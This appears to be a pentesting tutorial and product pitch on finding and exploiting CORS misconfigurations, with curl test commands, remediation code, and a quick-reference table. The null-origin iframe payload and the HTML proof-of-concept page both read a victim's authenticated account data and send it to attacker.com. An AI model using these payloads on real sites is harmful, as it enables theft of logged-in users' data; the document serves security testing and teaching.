CORS Misconfiguration Testing: Finding and Exploiting Cross-Origin Vulnerabilities
Cross-Origin Resource Sharing (CORS) is the mechanism that lets browsers make cross-origin requests — fetch data from a different domain, port, or scheme than the page making the request. When the server-side CORS policy is misconfigured, an attacker-controlled page can silently make authenticated requests on behalf of a logged-in victim and read the response. That's a data theft primitive that requires zero user interaction beyond visiting a malicious site.
CORS misconfigurations are extremely common. The Same-Origin Policy is restrictive by default, so developers relax it — and the relaxations are frequently too broad.
How CORS Works (The Part That Goes Wrong)
When a browser makes a cross-origin request, it adds an Origin header. The server responds with Access-Control-Allow-Origin, optionally Access-Control-Allow-Credentials: true, and other directives. If the browser sees an Access-Control-Allow-Origin that matches the requesting origin (or a wildcard *), it allows the response to be read by JavaScript.
The critical combination is: Access-Control-Allow-Origin reflects the attacker's origin AND Access-Control-Allow-Credentials is true. With both, the attacker's page can make credentialed requests (carrying session cookies) and read the response — including sensitive account data, API tokens, or session state.
CORS Misconfiguration Patterns
1. Reflected Origin
The most exploitable pattern. The server takes the Origin header from the request and echoes it back as Access-Control-Allow-Origin.
# Request
GET /api/account HTTP/1.1
Host: target.com
Origin: https://attacker.com
Cookie: session=abc123
# Vulnerable response
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
{"email":"user@target.com","balance":5000}
The server intends to allow its own subdomains or partner sites but simply reflects whatever origin it receives. An attacker can read any credentialed response.
2. Null Origin Trust
Some servers whitelist null as an allowed origin — sometimes a leftover from testing or an attempt to allow file:// requests. The null origin can be triggered from sandboxed iframes:
<!-- Attacker page -->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
<script>
var req = new XMLHttpRequest();
req.onload = function() { location='https://attacker.com/steal?data='+this.responseText; };
req.open('GET','https://target.com/api/account',true);
req.withCredentials = true;
req.send();
</script>"></iframe>
The sandboxed iframe sends Origin: null. If the server responds with Access-Control-Allow-Origin: null and Access-Control-Allow-Credentials: true, data is exfiltrated.
3. Wildcard With Credentials
Using Access-Control-Allow-Origin: * without credentials is legitimate. But some frameworks allow combining wildcard with Access-Control-Allow-Credentials: true through misconfiguration — modern browsers block this, but older browsers or non-browser clients may not.
More common: the wildcard on one endpoint combined with credential-carrying code on the client side creates developer confusion about what is actually protected.
4. Subdomain Trust With Subdomain Takeover
A server allows *.target.com origins. If any subdomain of target.com can be taken over (dangling DNS, abandoned S3 bucket, expired Heroku app), the attacker can use that subdomain as the origin and read authenticated responses from the main application.
# Target CORS policy: allow *.target.com
# Attacker takes over old.target.com (dangling subdomain)
# Exploit from old.target.com:
var req = new XMLHttpRequest();
req.open('GET', 'https://target.com/api/account', true);
req.withCredentials = true;
req.onload = function() { exfiltrate(this.responseText); };
req.send();
5. Origin Validation Bypass via Partial Match
Developers often implement origin validation with string matching that can be bypassed:
# Intended: allow target.com
# Vulnerable implementation: check if origin ends with "target.com"
# Bypass: use origin like "attackertarget.com"
# Or: check if origin starts with "https://target.com"
# Bypass: use "https://target.com.attacker.com"
# Or: regex with unescaped dot
# Pattern: /https:\/\/target.com/
# Bypass: "https://targetXcom.attacker.com"
Testing Methodology
Step 1: Baseline — What Does the Application Return?
First, make requests without an Origin header and observe which endpoints return sensitive data. These are the ones worth targeting with CORS tests.
curl -s https://target.com/api/account -H "Cookie: session=..." | jq .
Step 2: Test Origin Reflection
Send requests with a crafted Origin and check if it's reflected in the response:
# Test 1: Arbitrary origin reflection
curl -s -v https://target.com/api/account \
-H "Origin: https://attacker.com" \
-H "Cookie: session=..." 2>&1 | grep -i "access-control"
# Test 2: Null origin
curl -s -v https://target.com/api/account \
-H "Origin: null" \
-H "Cookie: session=..." 2>&1 | grep -i "access-control"
# Test 3: Subdomain variation
curl -s -v https://target.com/api/account \
-H "Origin: https://evil.target.com" \
-H "Cookie: session=..." 2>&1 | grep -i "access-control"
# Test 4: Partial match bypass
curl -s -v https://target.com/api/account \
-H "Origin: https://target.com.attacker.com" \
-H "Cookie: session=..." 2>&1 | grep -i "access-control"
Step 3: Confirm Exploitability
A reflected origin alone isn't exploitable without Access-Control-Allow-Credentials: true. Check both headers together:
curl -s -v https://target.com/api/account \
-H "Origin: https://attacker.com" \
-H "Cookie: session=abc123" 2>&1 | grep -iE "(access-control|HTTP/)"
Vulnerable response looks like:
HTTP/2 200
access-control-allow-origin: https://attacker.com
access-control-allow-credentials: true
Step 4: Test Preflight Handling
For non-simple requests (PUT, DELETE, custom headers), the browser sends a preflight OPTIONS request. Test whether the preflight is also vulnerable:
curl -s -v -X OPTIONS https://target.com/api/account \
-H "Origin: https://attacker.com" \
-H "Access-Control-Request-Method: DELETE" \
-H "Access-Control-Request-Headers: X-Custom-Header" 2>&1 | grep -i "access-control"
Step 5: Automated Scanning With Nuclei
# Use nuclei CORS templates
nuclei -u https://target.com -t ~/nuclei-templates/vulnerabilities/cors/ -H "Cookie: session=..."
# Or corsy for dedicated CORS testing
python3 corsy.py -u https://target.com/api/ --headers "Cookie: session=..."
Building a Proof of Concept
When you confirm reflected origin + credentials, a working PoC demonstrates real impact. Host this on a domain you control:
<!DOCTYPE html>
<html>
<body>
<script>
// CORS misconfiguration PoC
// Victim must be logged in to target.com when they visit this page
var target = 'https://target.com/api/account';
var exfil = 'https://attacker.com/collect';
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
// Send stolen data to attacker
var img = new Image();
img.src = exfil + '?data=' + encodeURIComponent(xhr.responseText);
}
};
xhr.open('GET', target, true);
xhr.withCredentials = true;
xhr.send();
</script>
</body>
</html>
The PoC proves that a logged-in victim who visits your page will have their account data sent to your server. This turns the CORS misconfiguration into a concrete data theft scenario.
High-Value Endpoints to Test
| Endpoint Type | Why It Matters |
|---|---|
| Account / profile data | PII, email address, phone number |
| API tokens / keys | Secondary credential theft |
| Payment / billing info | Last 4 digits, billing address, subscription tier |
| Session / auth endpoints | CSRF token, session metadata |
| Admin APIs | User lists, configuration, privilege escalation |
| Internal tools | Often less strict CORS enforcement on internal dashboards |
Remediation
Correct Origin Whitelisting
# Python (Django example)
CORS_ALLOWED_ORIGINS = [
"https://app.target.com",
"https://www.target.com",
]
# Never use CORS_ORIGIN_ALLOW_ALL = True with CORS_ALLOW_CREDENTIALS = True
# Node.js (Express with cors package)
const corsOptions = {
origin: function(origin, callback) {
const allowed = ['https://app.target.com', 'https://www.target.com'];
if (!origin || allowed.indexOf(origin) !== -1) {
callback(null, true);
} else {
callback(new Error('Not allowed by CORS'));
}
},
credentials: true,
};
app.use(cors(corsOptions));
Never Reflect the Origin Header
Never do this:
# Vulnerable — reflects whatever origin the client sends
Access-Control-Allow-Origin: {request.headers.origin}
Access-Control-Allow-Credentials: true
Always validate against a whitelist first. If the origin is not in the list, return no Access-Control-Allow-Origin header (or a fixed safe value).
Separate Public and Credentialed APIs
If an endpoint returns non-sensitive public data and needs broad access, Access-Control-Allow-Origin: * is fine — but only if that endpoint never returns user-specific data and credentials are not required. Keep authenticated endpoints on strict origin whitelists.
Don't Trust the Null Origin
Never whitelist null in production. If you need to test locally, use a proper local domain with a matching whitelist entry.
CORS Testing Quick-Reference
| Test | Origin Sent | Confirms If |
|---|---|---|
| Arbitrary reflection | https://attacker.com |
Any origin trusted + ACAO reflects it |
| Null origin | null |
ACAO: null + ACAC: true |
| Subdomain | https://evil.target.com |
Wildcard subdomain policy |
| Prefix bypass | https://target.com.evil.com |
Weak startsWith() check |
| Suffix bypass | https://eviltarget.com |
Weak endsWith() check |
| HTTP downgrade | http://target.com |
Scheme not validated |
| Port variation | https://target.com:8080 |
Port not validated |
Ironimo automatically tests CORS policies across your application's API endpoints — checking for reflected origins, null origin trust, subdomain wildcard issues, and credential mismatches using the same techniques professional pentesters use.
Scans run on demand or on a schedule. Results include the exact request/response that triggered the finding and a remediation recommendation.
Start free scan